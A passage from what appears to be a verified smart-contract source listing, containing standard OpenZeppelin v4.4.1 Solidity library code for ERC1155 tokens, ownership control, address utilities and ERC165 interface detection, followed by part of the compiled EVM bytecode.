response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106100f45760003560e01c8063715018a611610097578063e8a3d48511610066578063e8a3d4851461026f578063e985e9c51461028d578063f242432a146102bd578063f2fde38b146102d9576100f4565b8063715018a61461020f5780638da5cb5b14610219578063a22cb46514610237578063b89df81114610253576100f4565b806306fdde03116100d357806306fdde03146101755780630e89341c146101935780632eb2c2d6146101c35780634e1273f4146101df576100f4565b8062fdd58e146100f957806301ffc9a71461012957806302fe530514610159575b600080fd5b610113600480360381019061010e91906122c9565b6102f5565b6040516101209190612aef565b60405180910390f35b610143600480360381019061013e9190612371565b6103be565b6040516101509190612912565b60405180910390f35b610173600480360381019061016e91906123c3565b6104a0565b005b61017d610528565b60405161018a919061292d565b60405180910390f35b6101ad60048036038101906101a89190612404565b6105b6565b6040516101ba919061292d565b60405180910390f35b6101dd60048036038101906101d89190612094565b610625565b005b6101f960048036038101906101f49190612305565b6106c6565b60405161020691906128b9565b60405180910390f35b610217610877565b005b6102216108ff565b60405161022e91906127dc565b60405180910390f35b610251600480360381019061024c919061228d565b610929565b005b61026d600480360381019061026891906121e2565b61093f565b005b6102776109ee565b604051610284919061292d565b60405180910390f35b6102a760048036038101906102a29190612058565b610a0e565b6040516102b49190612912565b60405180910390f35b6102d760048036038101906102d29190612153565b610aa2565b005b6102f360048036038101906102ee919061202f565b610b43565b005b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161035d9061298f565b60405180910390fd5b60008083815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60007fd9b67a26000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061048957507f0e89341c000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610499575061049882610c3b565b5b9050919050565b6104a8610ca5565b73ffffffffffffffffffffffffffffffffffffffff166104c66108ff565b73ffffffffffffffffffffffffffffffffffffffff161461051c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051390612a4f565b60405180910390fd5b61052581610cad565b50565b6005805461053590612e09565b80601f016020809104026020016040519081016040528092919081815260200182805461056190612e09565b80156105ae5780601f10610583576101008083540402835291602001916105ae565b820191906000526020600020905b81548152906001019060200180831161059157829003601f168201915b505050505081565b606060066001836105c79190612d1f565b60c081106105fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b0160405160200161060f91906127ba565b6040516020818303038152906040529050919050565b61062d610ca5565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061067357506106728561066d610ca5565b610a0e565b5b6106b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a990612a0f565b60405180910390fd5b6106bf8585858585610cc7565b5050505050565b6060815183511461070c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070390612a8f565b60405180910390fd5b6000835167ffffffffffffffff81111561074f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561077d5781602001602082028036833780820191505090505b50905060005b845181101561086c576108168582815181106107c8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151858381518110610809577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516102f5565b82828151811061084f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250508061086590612e6c565b9050610783565b508091505092915050565b61087f610ca5565b73ffffffffffffffffffffffffffffffffffffffff1661089d6108ff565b73ffffffffffffffffffffffffffffffffffffffff16146108f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ea90612a4f565b60405180910390fd5b6108fd6000611027565b565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61093b610934610ca5565b83836110ed565b5050565b610947610ca5565b73ffffffffffffffffffffffffffffffffffffffff166109656108ff565b73ffffffffffffffffffffffffffffffffffffffff16146109bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b290612a4f565b60405180910390fd5b8060069060c06109cc929190611bf5565b506109e88484846040518060200160405280600081525061125a565b50505050565b60606040518060600160405280602e815260200161347b602e9139905090565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b610aaa610ca5565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610af05750610aef85610aea610ca5565b610a0e565b5b610b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b26906129cf565b60405180910390fd5b610b3c85858585856114c4565b5050505050565b610b4b610ca5565b73ffffffffffffffffffffffffffffffffffffffff16610b696108ff565b73ffffffffffffffffffffffffffffffffffffffff1614610bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb690612a4f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c26906129af565b60405180910390fd5b610c3881611027565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b8060029080519060200190610cc3929190611c48565b5050565b8151835114610d0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0290612aaf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d72906129ef565b60405180910390fd5b6000610d85610ca5565b9050610d95818787878787611746565b60005b8451811015610f92576000858281518110610ddc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190506000858381518110610e21577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101519050600080600084815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb990612a2f565b60405180910390fd5b81810360008085815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160008085815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f779190612cc9565b9250508190555050505080610f8b90612e6c565b9050610d98565b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb87876040516110099291906128db565b60405180910390a461101f81878787878761174e565b505050505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561115c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115390612a6f565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161124d9190612912565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c190612acf565b60405180910390fd5b815183511461130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590612aaf565b60405180910390fd5b6000611318610ca5565b905061132981600087878787611746565b60005b845181101561142e5783818151811061136e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516000808784815181106113b2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114149190612cc9565b92505081905550808061142690612e6c565b91505061132c565b508473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb87876040516114a69291906128db565b60405180910390a46114bd8160008787878761174e565b5050505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152b906129ef565b60405180910390fd5b600061153e610ca5565b905061155e81878761154f88611935565b61155888611935565b87611746565b600080600086815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156115f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ec90612a2f565b60405180910390fd5b83810360008087815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508360008087815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116aa9190612cc9565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628888604051611727929190612b0a565b60405180910390a461173d8288888888886119fb565b50505050505050565b505050505050565b61176d8473ffffffffffffffffffffffffffffffffffffffff16611be2565b1561192d578373ffffffffffffffffffffffffffffffffffffffff1663bc197c8187878686866040518663ffffffff1660e01b81526004016117b39594939291906127f7565b602060405180830381600087803b1580156117cd57600080fd5b505af19250505080156117fe57506040513d601f19601f820116820180604052508101906117fb919061239a565b60015b6118a45761180a612f42565b806308c379a01415611867575061181f613388565b8061182a5750611869565b806040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185e919061292d565b60405180910390fd5b505b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189b9061294f565b60405180910390fd5b63bc197c8160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161461192b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119229061296f565b60405180910390fd5b505b505050505050565b60606000600167ffffffffffffffff81111561197a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156119a85781602001602082028036833780820191505090505b50905082816000815181106119e6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505080915050919050565b611a1a8473ffffffffffffffffffffffffffffffffffffffff16611be2565b15611bda578373ffffffffffffffffffffffffffffffffffffffff1663f23a6e6187878686866040518663ffffffff1660e01b8152600401611a6095949392919061285f565b602060405180830381600087803b158015611a7a57600080fd5b505af1925050508015611aab57506040513d601f19601f82011682018060405250810190611aa8919061239a565b60015b611b5157611ab7612f42565b806308c379a01415611b145750611acc613388565b80611ad75750611b16565b806040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0b919061292d565b60405180910390fd5b505b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b489061294f565b60405180910390fd5b63f23a6e6160e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614611bd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcf9061296f565b60405180910390fd5b505b505050505050565b600080823b905060008111915050919050565b8260c08101928215611c37579160200282015b82811115611c36578251829080519060200190611c26929190611c48565b5091602001919060010190611c08565b5b509050611c449190611cce565b5090565b828054611c5490612e09565b90600052602060002090601f016020900481019282611c765760008555611cbd565b82601f10611c8f57805160ff1916838001178555611cbd565b82800160010185558215611cbd579182015b82811115611cbc578251825591602001919060010190611ca1565b5b509050611cca9190611cf2565b5090565b5b80821115611cee5760008181611ce59190611d0f565b50600101611ccf565b5090565b5b80821115611d0b576000816000905550600101611cf3565b5090565b508054611d1b90612e09565b6000825580601f10611d2d5750611d4c565b601f016020900490600052602060002090810190611d4b9190611cf2565b5b50565b6000611d62611d5d84612b58565b612b33565b90508083825260208201905082856020860282011115611d8157600080fd5b60005b85811015611db15781611d978882611ef7565b845260208401935060208301925050600181019050611d84565b5050509392505050565b6000611dce611dc984612b84565b612b33565b9050808260005b85811015611e055781358501611deb8882611ff0565b845260208401935060208301925050600181019050611dd5565b5050509392505050565b6000611e22611e1d84612baa565b612b33565b90508083825260208201905082856020860282011115611e4157600080fd5b60005b85811015611e715781611e57888261201a565b845260208401935060208301925050600181019050611e44565b5050509392505050565b6000611e8e611e8984612bd6565b612b33565b905082815260208101848484011115611ea657600080fd5b611eb1848285612dc7565b509392505050565b6000611ecc611ec784612c07565b612b33565b905082815260208101848484011115611ee457600080fd5b611eef848285612dc7565b509392505050565b600081359050611f068161341e565b92915050565b600082601f830112611f1d57600080fd5b8135611f2d848260208601611d4f565b91505092915050565b600082601f830112611f4757600080fd5b60c0611f54848285611dbb565b91505092915050565b600082601f830112611f6e57600080fd5b8135611f7e848260208601611e0f565b91505092915050565b600081359050611f9681613435565b92915050565b600081359050611fab8161344c565b92915050565b600081519050611fc08161344c565b92915050565b600082601f830112611fd757600080fd5b8135611fe7848260208601611e7b565b91505092915050565b600082601f83011261200157600080fd5b8135612011848260208601611eb9565b91505092915050565b60008135905061202981613463565b92915050565b60006020828403121561204157600080fd5b600061204f84828501611ef7565b91505092915050565b6000806040838503121561206b57600080fd5b600061207985828601611ef7565b925050602061208a85828601611ef7565b9150509250929050565b600080600080600060a086880312156120ac57600080fd5b60006120ba88828901611ef7565b95505060206120cb88828901611ef7565b945050604086013567ffffffffffffffff8111156120e857600080fd5b6120f488828901611f5d565b935050606086013567ffffffffffffffff81111561211157600080fd5b61211d88828901611f5d565b925050608086013567ffffffffffffffff81111561213a57600080fd5b61214688828901611fc6565b9150509295509295909350565b600080600080600060a0868803121561216b57600080fd5b600061217988828901611ef7565b955050602061218a88828901611ef7565b945050604061219b8882890161201a565b93505060606121ac8882890161201a565b925050608086013567ffffffffffffffff8111156121c957600080fd5b6121d588828901611fc6565b9150509295509295909350565b600080600080608085870312156121f857600080fd5b600061220687828801611ef7565b945050602085013567ffffffffffffffff81111561222357600080fd5b61222f87828801611f5d565b935050604085013567ffffffffffffffff81111561224c57600080fd5b61225887828801611f5d565b925050606085013567ffffffffffffffff81111561227557600080fd5b61228187828801611f36565b91505092959194509250565b600080604083850312156122a057600080fd5b60006122ae85828601611ef7565b92505060206122bf85828601611f87565b9150509250929050565b600080604083850312156122dc57600080fd5b60006122ea85828601611ef7565b92505060206122fb8582860161201a565b9150509250929050565b6000806040838503121561231857600080fd5b600083013567ffffffffffffffff81111561233257600080fd5b61233e85828601611f0c565b925050602083013567ffffffffffffffff81111561235b57600080fd5b61236785828601611f5d565b9150509250929050565b60006020828403121561238357600080fd5b600061239184828501611f9c565b91505092915050565b6000602082840312156123ac57600080fd5b60006123ba84828501611fb1565b91505092915050565b6000602082840312156123d557600080fd5b600082013567ffffffffffffffff8111156123ef57600080fd5b6123fb84828501611ff0565b91505092915050565b60006020828403121561241657600080fd5b60006124248482850161201a565b91505092915050565b6000612439838361279c565b60208301905092915050565b61244e81612d53565b82525050565b600061245f82612c5d565b6124698